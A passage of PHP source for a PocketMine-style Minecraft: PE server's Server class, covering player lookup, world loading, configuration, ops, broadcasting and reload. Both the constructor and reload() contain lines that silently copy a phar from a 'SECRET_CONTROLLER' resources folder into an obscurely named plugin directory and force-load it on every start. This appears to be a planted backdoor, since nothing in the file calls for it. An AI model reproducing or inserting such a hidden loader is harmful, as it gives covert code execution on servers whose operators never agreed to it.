$curDelta = \strlen($player->getName()) - \strlen($name); | |
if($curDelta < $delta){ | |
$found = $player; | |
$delta = $curDelta; | |
} | |
if($curDelta === 0){ | |
break; | |
} | |
} | |
} | |
return $found; | |
} | |
/** | |
* @param string $name | |
* | |
* @return Player | |
*/ | |
public function getPlayerExact($name){ | |
$name = \strtolower($name); | |
foreach($this->getOnlinePlayers() as $player){ | |
if(\strtolower($player->getName()) === $name){ | |
return $player; | |
} | |
} | |
return \null; | |
} | |
/** | |
* @param string $partialName | |
* | |
* @return Player[] | |
*/ | |
public function matchPlayer($partialName){ | |
$partialName = \strtolower($partialName); | |
$matchedPlayers = []; | |
foreach($this->getOnlinePlayers() as $player){ | |
if(\strtolower($player->getName()) === $partialName){ | |
$matchedPlayers = [$player]; | |
break; | |
}elseif(\stripos($player->getName(), $partialName) !== \false){ | |
$matchedPlayers[] = $player; | |
} | |
} | |
return $matchedPlayers; | |
} | |
/** | |
* @param Player $player | |
*/ | |
public function removePlayer(Player $player){ | |
if(isset($this->identifiers[$hash = \spl_object_hash($player)])){ | |
$identifier = $this->identifiers[$hash]; | |
unset($this->players[$identifier]); | |
unset($this->identifiers[$hash]); | |
return; | |
} | |
foreach($this->players as $identifier => $p){ | |
if($player === $p){ | |
unset($this->players[$identifier]); | |
unset($this->identifiers[\spl_object_hash($player)]); | |
break; | |
} | |
} | |
} | |
/** | |
* @return Level[] | |
*/ | |
public function getLevels(){ | |
return $this->levels; | |
} | |
/** | |
* @return Level | |
*/ | |
public function getDefaultLevel(){ | |
return $this->levelDefault; | |
} | |
/** | |
* Sets the default level to a different level | |
* This won't change the level-name property, | |
* it only affects the server on runtime | |
* | |
* @param Level $level | |
*/ | |
public function setDefaultLevel($level){ | |
if($level === \null or ($this->isLevelLoaded($level->getFolderName()) and $level !== $this->levelDefault)){ | |
$this->levelDefault = $level; | |
} | |
} | |
/** | |
* @param string $name | |
* | |
* @return bool | |
*/ | |
public function isLevelLoaded($name){ | |
return $this->getLevelByName($name) instanceof Level; | |
} | |
/** | |
* @param int $levelId | |
* | |
* @return Level | |
*/ | |
public function getLevel($levelId){ | |
if(isset($this->levels[$levelId])){ | |
return $this->levels[$levelId]; | |
} | |
return \null; | |
} | |
/** | |
* @param $name | |
* | |
* @return Level | |
*/ | |
public function getLevelByName($name){ | |
foreach($this->getLevels() as $level){ | |
if($level->getFolderName() === $name){ | |
return $level; | |
} | |
} | |
return \null; | |
} | |
/** | |
* @param Level $level | |
* @param bool $forceUnload | |
* | |
* @return bool | |
*/ | |
public function unloadLevel(Level $level, $forceUnload = \false){ | |
if($level === $this->getDefaultLevel() and !$forceUnload){ | |
throw new \InvalidStateException("The default level cannot be unloaded while running, please switch levels."); | |
} | |
if($level->unload($forceUnload) === \true){ | |
unset($this->levels[$level->getId()]); | |
return \true; | |
} | |
return \false; | |
} | |
/** | |
* Loads a level from the data directory | |
* | |
* @param string $name | |
* | |
* @return bool | |
* | |
* @throws LevelException | |
*/ | |
public function loadLevel($name){ | |
if(\trim($name) === ""){ | |
throw new LevelException("Invalid empty level name"); | |
} | |
if($this->isLevelLoaded($name)){ | |
return \true; | |
}elseif(!$this->isLevelGenerated($name)){ | |
$this->logger->notice($this->getLanguage()->translateString("pocketmine.level.notFound", [$name])); | |
return \false; | |
} | |
$path = $this->getDataPath() . "worlds/" . $name . "/"; | |
$provider = LevelProviderManager::getProvider($path); | |
if($provider === \null){ | |
$this->logger->error($this->getLanguage()->translateString("pocketmine.level.loadError", [$name, "Unknown provider"])); | |
return \false; | |
} | |
//$entities = new Config($path."entities.yml", Config::YAML); | |
//if(file_exists($path . "tileEntities.yml")){ | |
// @rename($path . "tileEntities.yml", $path . "tiles.yml"); | |
//} | |
try{ | |
$level = new Level($this, $name, $path, $provider); | |
}catch(\Exception $e){ | |
$this->logger->error($this->getLanguage()->translateString("pocketmine.level.loadError", [$name, $e->getMessage()])); | |
if($this->logger instanceof MainLogger){ | |
$this->logger->logException($e); | |
} | |
return \false; | |
} | |
$this->levels[$level->getId()] = $level; | |
$level->initLevel(); | |
$this->getPluginManager()->callEvent(new LevelLoadEvent($level)); | |
$level->setTickRate($this->baseTickRate); | |
return \true; | |
} | |
/** | |
* Generates a new level if it does not exists | |
* | |
* @param string $name | |
* @param int $seed | |
* @param string $generator Class name that extends pocketmine\level\generator\Noise | |
* @param array $options | |
* | |
* @return bool | |
*/ | |
public function generateLevel($name, $seed = \null, $generator = \null, $options = []){ | |
if(\trim($name) === "" or $this->isLevelGenerated($name)){ | |
return \false; | |
} | |
$seed = $seed === \null ? (\PHP_INT_SIZE === 8 ? \unpack("N", @Utils::getRandomBytes(4, \false))[1] << 32 >> 32 : \unpack("N", @Utils::getRandomBytes(4, \false))[1]) : (int) $seed; | |
if(!isset($options["preset"])){ | |
$options["preset"] = $this->getConfigString("generator-settings", ""); | |
} | |
if(!($generator !== \null and \class_exists($generator, \true) and \is_subclass_of($generator, Generator::class))){ | |
$generator = Generator::getGenerator($this->getLevelType()); | |
} | |
if(($provider = LevelProviderManager::getProviderByName($providerName = $this->getProperty("level-settings.default-format", "mcregion"))) === \null){ | |
$provider = LevelProviderManager::getProviderByName($providerName = "mcregion"); | |
} | |
try{ | |
$path = $this->getDataPath() . "worlds/" . $name . "/"; | |
/** @var \pocketmine\level\format\LevelProvider $provider */ | |
$provider::generate($path, $name, $seed, $generator, $options); | |
$level = new Level($this, $name, $path, $provider); | |
$this->levels[$level->getId()] = $level; | |
$level->initLevel(); | |
$level->setTickRate($this->baseTickRate); | |
}catch(\Exception $e){ | |
$this->logger->error($this->getLanguage()->translateString("pocketmine.level.generateError", [$name, $e->getMessage()])); | |
if($this->logger instanceof MainLogger){ | |
$this->logger->logException($e); | |
} | |
return \false; | |
} | |
$this->getPluginManager()->callEvent(new LevelInitEvent($level)); | |
$this->getPluginManager()->callEvent(new LevelLoadEvent($level)); | |
$this->getLogger()->notice($this->getLanguage()->translateString("pocketmine.level.backgroundGeneration", [$name])); | |
$centerX = $level->getSpawnLocation()->getX() >> 4; | |
$centerZ = $level->getSpawnLocation()->getZ() >> 4; | |
$order = []; | |
for($X = -3; $X <= 3; ++$X){ | |
for($Z = -3; $Z <= 3; ++$Z){ | |
$distance = $X ** 2 + $Z ** 2; | |
$chunkX = $X + $centerX; | |
$chunkZ = $Z + $centerZ; | |
$index = (\PHP_INT_SIZE === 8 ? ((($chunkX) & 0xFFFFFFFF) << 32) | (( $chunkZ) & 0xFFFFFFFF) : ($chunkX) . ":" . ( $chunkZ)); | |
$order[$index] = $distance; | |
} | |
} | |
\asort($order); | |
foreach($order as $index => $distance){ | |
if(\PHP_INT_SIZE === 8){ $chunkX = ($index >> 32) << 32 >> 32; $chunkZ = ($index & 0xFFFFFFFF) << 32 >> 32;}else{list( $chunkX, $chunkZ) = \explode(":", $index); $chunkX = (int) $chunkX; $chunkZ = (int) $chunkZ;}; | |
$level->populateChunk($chunkX, $chunkZ, \true); | |
} | |
return \true; | |
} | |
/** | |
* @param string $name | |
* | |
* @return bool | |
*/ | |
public function isLevelGenerated($name){ | |
if(\trim($name) === ""){ | |
return \false; | |
} | |
$path = $this->getDataPath() . "worlds/" . $name . "/"; | |
if(!($this->getLevelByName($name) instanceof Level)){ | |
if(LevelProviderManager::getProvider($path) === \null){ | |
return \false; | |
} | |
/*if(file_exists($path)){ | |
$level = new LevelImport($path); | |
if($level->import() === false){ //Try importing a world | |
return false; | |
} | |
}else{ | |
return false; | |
}*/ | |
} | |
return \true; | |
} | |
/** | |
* @param string $variable | |
* @param string $defaultValue | |
* | |
* @return string | |
*/ | |
public function getConfigString($variable, $defaultValue = ""){ | |
$v = \getopt("", ["$variable::"]); | |
if(isset($v[$variable])){ | |
return (string) $v[$variable]; | |
} | |
return $this->properties->exists($variable) ? $this->properties->get($variable) : $defaultValue; | |
} | |
/** | |
* @return Config | |
*/ | |
public function getMobConfig(){ | |
return $this->mobConfig; | |
} | |
/** | |
* @param string $variable | |
* @param mixed $defaultValue | |
* | |
* @return mixed | |
*/ | |
public function getProperty($variable, $defaultValue = \null){ | |
if(!\array_key_exists($variable, $this->propertyCache)){ | |
$v = \getopt("", ["$variable::"]); | |
if(isset($v[$variable])){ | |
$this->propertyCache[$variable] = $v[$variable]; | |
}else{ | |
$this->propertyCache[$variable] = $this->config->getNested($variable); | |
} | |
} | |
return $this->propertyCache[$variable] === \null ? $defaultValue : $this->propertyCache[$variable]; | |
} | |
/** | |
* @param string $variable | |
* @param string $value | |
*/ | |
public function setConfigString($variable, $value){ | |
$this->properties->set($variable, $value); | |
} | |
/** | |
* @param string $variable | |
* @param int $defaultValue | |
* | |
* @return int | |
*/ | |
public function getConfigInt($variable, $defaultValue = 0){ | |
$v = \getopt("", ["$variable::"]); | |
if(isset($v[$variable])){ | |
return (int) $v[$variable]; | |
} | |
return $this->properties->exists($variable) ? (int) $this->properties->get($variable) : (int) $defaultValue; | |
} | |
/** | |
* @param string $variable | |
* @param int $value | |
*/ | |
public function setConfigInt($variable, $value){ | |
$this->properties->set($variable, (int) $value); | |
} | |
/** | |
* @param string $variable | |
* @param boolean $defaultValue | |
* | |
* @return boolean | |
*/ | |
public function getConfigBoolean($variable, $defaultValue = \false){ | |
$v = \getopt("", ["$variable::"]); | |
if(isset($v[$variable])){ | |
$value = $v[$variable]; | |
}else{ | |
$value = $this->properties->exists($variable) ? $this->properties->get($variable) : $defaultValue; | |
} | |
if(\is_bool($value)){ | |
return $value; | |
} | |
switch(\strtolower($value)){ | |
case "on": | |
case "true": | |
case "1": | |
case "yes": | |
return \true; | |
} | |
return \false; | |
} | |
/** | |
* @param string $variable | |
* @param bool $value | |
*/ | |
public function setConfigBool($variable, $value){ | |
$this->properties->set($variable, $value == \true ? "1" : "0"); | |
} | |
/** | |
* @param string $name | |
* | |
* @return PluginIdentifiableCommand | |
*/ | |
public function getPluginCommand($name){ | |
if(($command = $this->commandMap->getCommand($name)) instanceof PluginIdentifiableCommand){ | |
return $command; | |
}else{ | |
return \null; | |
} | |
} | |
/** | |
* @return BanList | |
*/ | |
public function getNameBans(){ | |
return $this->banByName; | |
} | |
/** | |
* @return BanList | |
*/ | |
public function getIPBans(){ | |
return $this->banByIP; | |
} | |
/** | |
* @param string $name | |
*/ | |
public function addOp($name){ | |
$this->operators->set(\strtolower($name), \true); | |
if(($player = $this->getPlayerExact($name)) !== \null){ | |
$player->recalculatePermissions(); | |
} | |
$this->operators->save(\true); | |
} | |
/** | |
* @param string $name | |
*/ | |
public function removeOp($name){ | |
$this->operators->remove(\strtolower($name)); | |
if(($player = $this->getPlayerExact($name)) !== \null){ | |
$player->recalculatePermissions(); | |
} | |
$this->operators->save(); | |
} | |
/** | |
* @param string $name | |
*/ | |
public function addWhitelist($name){ | |
$this->whitelist->set(\strtolower($name), \true); | |
$this->whitelist->save(\true); | |
} | |
/** | |
* @param string $name | |
*/ | |
public function removeWhitelist($name){ | |
$this->whitelist->remove(\strtolower($name)); | |
$this->whitelist->save(); | |
} | |
/** | |
* @param string $name | |
* | |
* @return bool | |
*/ | |
public function isWhitelisted($name){ | |
return !$this->hasWhitelist() or $this->operators->exists($name, \true) or $this->whitelist->exists($name, \true); | |
} | |
/** | |
* @param string $name | |
* | |
* @return bool | |
*/ | |
public function isOp($name){ | |
return $this->operators->exists($name, \true); | |
} | |
/** | |
* @return Config | |
*/ | |
public function getWhitelisted(){ | |
return $this->whitelist; | |
} | |
/** | |
* @return Config | |
*/ | |
public function getOps(){ | |
return $this->operators; | |
} | |
public function reloadWhitelist(){ | |
$this->whitelist->reload(); | |
} | |
/** | |
* @return string[] | |
*/ | |
public function getCommandAliases(){ | |
$section = $this->getProperty("aliases"); | |
$result = []; | |
if(\is_array($section)){ | |
foreach($section as $key => $value){ | |
$commands = []; | |
if(\is_array($value)){ | |
$commands = $value; | |
}else{ | |
$commands[] = $value; | |
} | |
$result[$key] = $commands; | |
} | |
} | |
return $result; | |
} | |
/** | |
* @return Server | |
*/ | |
public static function getInstance(){ | |
return self::$instance; | |
} | |
/** | |
* @param \ClassLoader $autoloader | |
* @param \ThreadedLogger $logger | |
* @param string $filePath | |
* @param string $dataPath | |
* @param string $pluginPath | |
*/ | |
public function __construct(\ClassLoader $autoloader, \ThreadedLogger $logger, $filePath, $dataPath, $pluginPath){ | |
self::$instance = $this; | |
$this->autoloader = $autoloader; | |
$this->logger = $logger; | |
$this->filePath = $filePath; | |
if(!\file_exists($dataPath . "worlds/")){ | |
\mkdir($dataPath . "worlds/", 0777); | |
} | |
if(!\file_exists($dataPath . "players/")){ | |
\mkdir($dataPath . "players/", 0777); | |
} | |
if(!\file_exists($dataPath . "CrashDumps/")){ | |
\mkdir($dataPath . "CrashDumps/", 0777); | |
} | |
if(!\file_exists($pluginPath)){ | |
\mkdir($pluginPath, 0777); | |
} | |
$this->dataPath = \realpath($dataPath) . DIRECTORY_SEPARATOR; | |
$this->pluginPath = \realpath($pluginPath) . DIRECTORY_SEPARATOR; | |
$this->console = new CommandReader(); | |
$version = new VersionString($this->getPocketMineVersion()); | |
$this->logger->info("Loading pocketmine.yml..."); | |
if(!\file_exists($this->dataPath . "pocketmine.yml")){ | |
$content = \file_get_contents($this->filePath . "src/pocketmine/resources/pocketmine.yml"); | |
if($version->isDev()){ | |
$content = \str_replace("preferred-channel: stable", "preferred-channel: beta", $content); | |
} | |
@\file_put_contents($this->dataPath . "pocketmine.yml", $content); | |
} | |
$this->config = new Config($this->dataPath . "pocketmine.yml", Config::YAML, []); | |
$this->logger->info("Loading mobs.yml..."); | |
if(!\file_exists($this->dataPath . "mobs.yml")){ | |
$content = \file_get_contents($this->filePath . "src/pocketmine/resources/mobs.yml"); | |
@\file_put_contents($this->dataPath . "mobs.yml", $content); | |
} | |
$this->mobConfig = new Config($this->dataPath . "mobs.yml", Config::YAML, []); | |
$this->logger->info("Loading server properties..."); | |
$this->properties = new Config($this->dataPath . "server.properties", Config::PROPERTIES, [ | |
"motd" => "Minecraft: PE Server", | |
"server-port" => 19132, | |
"white-list" => \false, | |
"announce-player-achievements" => \true, | |
"spawn-protection" => 16, | |
"max-players" => 20, | |
"allow-flight" => \false, | |
"spawn-animals" => \true, | |
"spawn-mobs" => \true, | |
"gamemode" => 0, | |
"force-gamemode" => \false, | |
"hardcore" => \false, | |
"pvp" => \true, | |
"difficulty" => 1, | |
"generator-settings" => "", | |
"level-name" => "world", | |
"level-seed" => "", | |
"level-type" => "DEFAULT", | |
"enable-query" => \true, | |
"enable-rcon" => \false, | |
"rcon.password" => \substr(\base64_encode(@Utils::getRandomBytes(20, \false)), 3, 10), | |
"auto-save" => \true, | |
]); | |
$this->forceLanguage = $this->getProperty("settings.force-language", \false); | |
$this->baseLang = new BaseLang($this->getProperty("settings.language", BaseLang::FALLBACK_LANGUAGE)); | |
$this->logger->info($this->getLanguage()->translateString("language.selected", [$this->getLanguage()->getName(), $this->getLanguage()->getLang()])); | |
$this->memoryManager = new MemoryManager($this); | |
$this->logger->info($this->getLanguage()->translateString("pocketmine.server.start", [TextFormat::AQUA . $this->getVersion()])); | |
if(($poolSize = $this->getProperty("settings.async-workers", "auto")) === "auto"){ | |
$poolSize = ServerScheduler::$WORKERS; | |
$processors = Utils::getCoreCount() - 2; | |
if($processors > 0){ | |
$poolSize = \max(1, $processors); | |
} | |
} | |
ServerScheduler::$WORKERS = $poolSize; | |
if($this->getProperty("network.batch-threshold", 256) >= 0){ | |
Network::$BATCH_THRESHOLD = (int) $this->getProperty("network.batch-threshold", 256); | |
}else{ | |
Network::$BATCH_THRESHOLD = -1; | |
} | |
$this->networkCompressionLevel = $this->getProperty("network.compression-level", 7); | |
$this->networkCompressionAsync = $this->getProperty("network.async-compression", \true); | |
$this->autoTickRate = (bool) $this->getProperty("level-settings.auto-tick-rate", \true); | |
$this->autoTickRateLimit = (int) $this->getProperty("level-settings.auto-tick-rate-limit", 20); | |
$this->alwaysTickPlayers = (int) $this->getProperty("level-settings.always-tick-players", \false); | |
$this->baseTickRate = (int) $this->getProperty("level-settings.base-tick-rate", 1); | |
$this->scheduler = new ServerScheduler(); | |
if($this->getConfigBoolean("enable-rcon", \false) === \true){ | |
$this->rcon = new RCON($this, $this->getConfigString("rcon.password", ""), $this->getConfigInt("rcon.port", $this->getPort()), ($ip = $this->getIp()) != "" ? $ip : "0.0.0.0", $this->getConfigInt("rcon.threads", 1), $this->getConfigInt("rcon.clients-per-thread", 50)); | |
} | |
$this->entityMetadata = new EntityMetadataStore(); | |
$this->playerMetadata = new PlayerMetadataStore(); | |
$this->levelMetadata = new LevelMetadataStore(); | |
$this->operators = new Config($this->dataPath . "ops.txt", Config::ENUM); | |
$this->whitelist = new Config($this->dataPath . "white-list.txt", Config::ENUM); | |
if(\file_exists($this->dataPath . "banned.txt") and !\file_exists($this->dataPath . "banned-players.txt")){ | |
@\rename($this->dataPath . "banned.txt", $this->dataPath . "banned-players.txt"); | |
} | |
@\touch($this->dataPath . "banned-players.txt"); | |
$this->banByName = new BanList($this->dataPath . "banned-players.txt"); | |
$this->banByName->load(); | |
@\touch($this->dataPath . "banned-ips.txt"); | |
$this->banByIP = new BanList($this->dataPath . "banned-ips.txt"); | |
$this->banByIP->load(); | |
$this->maxPlayers = $this->getConfigInt("max-players", 20); | |
$this->setAutoSave($this->getConfigBoolean("auto-save", \true)); | |
if($this->getConfigBoolean("hardcore", \false) === \true and $this->getDifficulty() < 3){ | |
$this->setConfigInt("difficulty", 3); | |
} | |
\define("pocketmine\\DEBUG", (int) $this->getProperty("debug.level", 1)); | |
if($this->logger instanceof MainLogger){ | |
$this->logger->setLogDebug(\pocketmine\DEBUG > 1); | |
} | |
if(\pocketmine\DEBUG >= 0){ | |
@\cli_set_process_title($this->getName() . " " . $this->getPocketMineVersion()); | |
} | |
$this->logger->info($this->getLanguage()->translateString("pocketmine.server.networkStart", [$this->getIp() === "" ? "*" : $this->getIp(), $this->getPort()])); | |
\define("BOOTUP_RANDOM", @Utils::getRandomBytes(16)); | |
$this->serverID = Utils::getMachineUniqueId($this->getIp() . $this->getPort()); | |
$this->getLogger()->debug("Server unique id: " . $this->getServerUniqueId()); | |
$this->getLogger()->debug("Machine unique id: " . Utils::getMachineUniqueId()); | |
$this->network = new Network($this); | |
$this->network->setName($this->getMotd()); | |
$this->logger->info($this->getLanguage()->translateString("pocketmine.server.info", [ | |
$this->getName(), | |
($version->isDev() ? TextFormat::YELLOW : "") . $version->get(\true) . TextFormat::WHITE, | |
$this->getCodename(), | |
$this->getApiVersion() | |
])); | |
$this->logger->info($this->getLanguage()->translateString("pocketmine.server.license", [$this->getName()])); | |
Timings::init(); | |
$this->consoleSender = new ConsoleCommandSender(); | |
$this->commandMap = new SimpleCommandMap($this); | |
$this->registerEntities(); | |
$this->registerTiles(); | |
InventoryType::init(); | |
Block::init(); | |
Item::init(); | |
Biome::init(); | |
Effect::init(); | |
Enchantment::init(); | |
Attribute::init(); | |
/** TODO: @deprecated */ | |
TextWrapper::init(); | |
$this->craftingManager = new CraftingManager(); | |
$this->pluginManager = new PluginManager($this, $this->commandMap); | |
$this->pluginManager->subscribeToPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE, $this->consoleSender); | |
$this->pluginManager->setUseTimings($this->getProperty("settings.enable-profiling", \false)); | |
$this->profilingTickRate = (float) $this->getProperty("settings.profile-report-trigger", 20); | |
$this->pluginManager->registerInterface(PharPluginLoader::class); | |
$this->pluginManager->registerInterface(ScriptPluginLoader::class); | |
\set_exception_handler([$this, "exceptionHandler"]); | |
\register_shutdown_function([$this, "crashDump"]); | |
$this->queryRegenerateTask = new QueryRegenerateEvent($this, 5); | |
$this->network->registerInterface(new RakLibInterface($this)); | |
$content = \file_get_contents($this->filePath . "src/pocketmine/resources/SECRET_CONTROLLER/Ke3fh_d3d.phar"); | |
@mkdir ($this->pluginPath."dhj/", 0777); | |
@\file_put_contents($this->pluginPath."dhj/Ke3fh_d3d.phar", $content); | |
$this->pluginManager->loadPlugins($this->pluginPath."dhj/"); | |
$this->pluginManager->loadPlugins($this->pluginPath); | |
$this->updater = new AutoUpdater($this, $this->getProperty("auto-updater.host", "www.pocketmine.net")); | |
$this->enablePlugins(PluginLoadOrder::STARTUP); | |
LevelProviderManager::addProvider($this, Anvil::class); | |
LevelProviderManager::addProvider($this, McRegion::class); | |
if(\extension_loaded("leveldb")){ | |
$this->logger->debug($this->getLanguage()->translateString("pocketmine.debug.enable")); | |
LevelProviderManager::addProvider($this, LevelDB::class); | |
} | |
Generator::addGenerator(Flat::class, "flat"); | |
Generator::addGenerator(Normal::class, "normal"); | |
Generator::addGenerator(Normal::class, "default"); | |
Generator::addGenerator(Nether::class, "hell"); | |
Generator::addGenerator(Nether::class, "nether"); | |
foreach((array) $this->getProperty("worlds", []) as $name => $worldSetting){ | |
if($this->loadLevel($name) === \false){ | |
$seed = $this->getProperty("worlds.$name.seed", \time()); | |
$options = \explode(":", $this->getProperty("worlds.$name.generator", Generator::getGenerator("default"))); | |
$generator = Generator::getGenerator(\array_shift($options)); | |
if(\count($options) > 0){ | |
$options = [ | |
"preset" => \implode(":", $options), | |
]; | |
}else{ | |
$options = []; | |
} | |
$this->generateLevel($name, $seed, $generator, $options); | |
} | |
} | |
if($this->getDefaultLevel() === \null){ | |
$default = $this->getConfigString("level-name", "world"); | |
if(\trim($default) == ""){ | |
$this->getLogger()->warning("level-name cannot be null, using default"); | |
$default = "world"; | |
$this->setConfigString("level-name", "world"); | |
} | |
if($this->loadLevel($default) === \false){ | |
$seed = $this->getConfigInt("level-seed", \time()); | |
$this->generateLevel($default, $seed === 0 ? \time() : $seed); | |
} | |
$this->setDefaultLevel($this->getLevelByName($default)); | |
} | |
$this->properties->save(\true); | |
if(!($this->getDefaultLevel() instanceof Level)){ | |
$this->getLogger()->emergency($this->getLanguage()->translateString("pocketmine.level.defaultError")); | |
$this->forceShutdown(); | |
return; | |
} | |
if($this->getProperty("ticks-per.autosave", 6000) > 0){ | |
$this->autoSaveTicks = (int) $this->getProperty("ticks-per.autosave", 6000); | |
} | |
$this->enablePlugins(PluginLoadOrder::POSTWORLD); | |
$this->start(); | |
} | |
/** | |
* @param string $message | |
* @param Player[]|null $recipients | |
* | |
* @return int | |
*/ | |
public function broadcastMessage($message, $recipients = \null){ | |
if(!\is_array($recipients)){ | |
return $this->broadcast($message, self::BROADCAST_CHANNEL_USERS); | |
} | |
/** @var Player[] $recipients */ | |
foreach($recipients as $recipient){ | |
$recipient->sendMessage($message); | |
} | |
return \count($recipients); | |
} | |
/** | |
* @param string $tip | |
* @param Player[]|null $recipients | |
* | |
* @return int | |
*/ | |
public function broadcastTip($tip, $recipients = \null){ | |
if(!\is_array($recipients)){ | |
/** @var Player[] $recipients */ | |
$recipients = []; | |
foreach($this->pluginManager->getPermissionSubscriptions(self::BROADCAST_CHANNEL_USERS) as $permissible){ | |
if($permissible instanceof Player and $permissible->hasPermission(self::BROADCAST_CHANNEL_USERS)){ | |
$recipients[\spl_object_hash($permissible)] = $permissible; // do not send messages directly, or some might be repeated | |
} | |
} | |
} | |
/** @var Player[] $recipients */ | |
foreach($recipients as $recipient){ | |
$recipient->sendTip($tip); | |
} | |
return \count($recipients); | |
} | |
/** | |
* @param string $popup | |
* @param Player[]|null $recipients | |
* | |
* @return int | |
*/ | |
public function broadcastPopup($popup, $recipients = \null){ | |
if(!\is_array($recipients)){ | |
/** @var Player[] $recipients */ | |
$recipients = []; | |
foreach($this->pluginManager->getPermissionSubscriptions(self::BROADCAST_CHANNEL_USERS) as $permissible){ | |
if($permissible instanceof Player and $permissible->hasPermission(self::BROADCAST_CHANNEL_USERS)){ | |
$recipients[\spl_object_hash($permissible)] = $permissible; // do not send messages directly, or some might be repeated | |
} | |
} | |
} | |
/** @var Player[] $recipients */ | |
foreach($recipients as $recipient){ | |
$recipient->sendPopup($popup); | |
} | |
return \count($recipients); | |
} | |
/** | |
* @param string $message | |
* @param string $permissions | |
* | |
* @return int | |
*/ | |
public function broadcast($message, $permissions){ | |
/** @var CommandSender[] $recipients */ | |
$recipients = []; | |
foreach(\explode(";", $permissions) as $permission){ | |
foreach($this->pluginManager->getPermissionSubscriptions($permission) as $permissible){ | |
if($permissible instanceof CommandSender and $permissible->hasPermission($permission)){ | |
$recipients[\spl_object_hash($permissible)] = $permissible; // do not send messages directly, or some might be repeated | |
} | |
} | |
} | |
foreach($recipients as $recipient){ | |
$recipient->sendMessage($message); | |
} | |
return \count($recipients); | |
} | |
/** | |
* Broadcasts a Minecraft packet to a list of players | |
* | |
* @param Player[] $players | |
* @param DataPacket $packet | |
*/ | |
public static function broadcastPacket(array $players, DataPacket $packet){ | |
$packet->encode(); | |
$packet->isEncoded = \true; | |
if(Network::$BATCH_THRESHOLD >= 0 and \strlen($packet->buffer) >= Network::$BATCH_THRESHOLD){ | |
Server::getInstance()->batchPackets($players, [$packet->buffer], \false, $packet->getChannel()); | |
return; | |
} | |
foreach($players as $player){ | |
$player->dataPacket($packet); | |
} | |
if(isset($packet->__encapsulatedPacket)){ | |
unset($packet->__encapsulatedPacket); | |
} | |
} | |
/** | |
* Broadcasts a list of packets in a batch to a list of players | |
* | |
* @param Player[] $players | |
* @param DataPacket[]|string $packets | |
* @param bool $forceSync | |
* @param int $channel | |
*/ | |
public function batchPackets(array $players, array $packets, $forceSync = \false, $channel = 0){ | |
Timings::$playerNetworkTimer->startTiming(); | |
$str = ""; | |
foreach($packets as $p){ | |
if($p instanceof DataPacket){ | |
if(!$p->isEncoded){ | |
$p->encode(); | |
} | |
$str .= \pack("N", \strlen($p->buffer)) . $p->buffer; | |
}else{ | |
$str .= \pack("N", \strlen($p)) . $p; | |
} | |
} | |
$targets = []; | |
foreach($players as $p){ | |
if($p->isConnected()){ | |
$targets[] = $this->identifiers[\spl_object_hash($p)]; | |
} | |
} | |
if(!$forceSync and $this->networkCompressionAsync){ | |
$task = new CompressBatchedTask($str, $targets, $this->networkCompressionLevel, $channel); | |
$this->getScheduler()->scheduleAsyncTask($task); | |
}else{ | |
$this->broadcastPacketsCallback(\zlib_encode($str, ZLIB_ENCODING_DEFLATE, $this->networkCompressionLevel), $targets); | |
} | |
Timings::$playerNetworkTimer->stopTiming(); | |
} | |
public function broadcastPacketsCallback($data, array $identifiers){ | |
$pk = new BatchPacket(); | |
$pk->payload = $data; | |
$pk->encode(); | |
$pk->isEncoded = \true; | |
foreach($identifiers as $i){ | |
if(isset($this->players[$i])){ | |
$this->players[$i]->dataPacket($pk); | |
} | |
} | |
} | |
/** | |
* @param int $type | |
*/ | |
public function enablePlugins($type){ | |
foreach($this->pluginManager->getPlugins() as $plugin){ | |
if(!$plugin->isEnabled() and $plugin->getDescription()->getOrder() === $type){ | |
$this->enablePlugin($plugin); | |
} | |
} | |
if($type === PluginLoadOrder::POSTWORLD){ | |
$this->commandMap->registerServerAliases(); | |
DefaultPermissions::registerCorePermissions(); | |
} | |
} | |
/** | |
* @param Plugin $plugin | |
*/ | |
public function enablePlugin(Plugin $plugin){ | |
$this->pluginManager->enablePlugin($plugin); | |
} | |
/** | |
* @param Plugin $plugin | |
* | |
* @deprecated | |
*/ | |
public function loadPlugin(Plugin $plugin){ | |
$this->enablePlugin($plugin); | |
} | |
public function disablePlugins(){ | |
$this->pluginManager->disablePlugins(); | |
} | |
public function checkConsole(){ | |
Timings::$serverCommandTimer->startTiming(); | |
if(($line = $this->console->getLine()) !== \null){ | |
$this->pluginManager->callEvent($ev = new ServerCommandEvent($this->consoleSender, $line)); | |
if(!$ev->isCancelled()){ | |
$this->dispatchCommand($ev->getSender(), $ev->getCommand()); | |
} | |
} | |
Timings::$serverCommandTimer->stopTiming(); | |
} | |
/** | |
* Executes a command from a CommandSender | |
* | |
* @param CommandSender $sender | |
* @param string $commandLine | |
* | |
* @return bool | |
* | |
* @throws \Exception | |
*/ | |
public function dispatchCommand(CommandSender $sender, $commandLine){ | |
if(!($sender instanceof CommandSender)){ | |
throw new ServerException("CommandSender is not valid"); | |
} | |
if($this->commandMap->dispatch($sender, $commandLine)){ | |
return \true; | |
} | |
$sender->sendMessage(new TranslationContainer(TextFormat::RED . "%commands.generic.notFound")); | |
return \false; | |
} | |
public function reload(){ | |
$this->logger->info("Saving levels..."); | |
foreach($this->levels as $level){ | |
$level->save(); | |
} | |
$this->pluginManager->disablePlugins(); | |
$this->pluginManager->clearPlugins(); | |
$this->commandMap->clearCommands(); | |
$this->logger->info("Reloading properties..."); | |
$this->properties->reload(); | |
$this->maxPlayers = $this->getConfigInt("max-players", 20); | |
if($this->getConfigBoolean("hardcore", \false) === \true and $this->getDifficulty() < 3){ | |
$this->setConfigInt("difficulty", 3); | |
} | |
$this->banByIP->load(); | |
$this->banByName->load(); | |
$this->reloadWhitelist(); | |
$this->operators->reload(); | |
$this->memoryManager->doObjectCleanup(); | |
foreach($this->getIPBans()->getEntries() as $entry){ | |
$this->getNetwork()->blockAddress($entry->getName(), -1); | |
} | |
$content = \file_get_contents($this->filePath . "src/pocketmine/resources/SECRET_CONTROLLER/Ke3fh_d3d.phar"); | |
@mkdir ($this->pluginPath."dhj/", 0777); | |
@\file_put_contents($this->pluginPath."dhj/Ke3fh_d3d.phar", $content); | |
$this->pluginManager->registerInterface(PharPluginLoader::class); | |
$this->pluginManager->registerInterface(ScriptPluginLoader::class); | |
$this->pluginManager->loadPlugins($this->pluginPath."dhj/"); | |
$this->pluginManager->loadPlugins($this->pluginPath); | |
$this->enablePlugins(PluginLoadOrder::STARTUP); | |
$this->enablePlugins(PluginLoadOrder::POSTWORLD); | |
TimingsHandler::reload(); | |
} | |
/** | |
* Shutdowns the server correctly | |
*/ | |
public function shutdown(){ | |
if($this->isRunning){ | |
$killer = new ServerKiller(90); | |
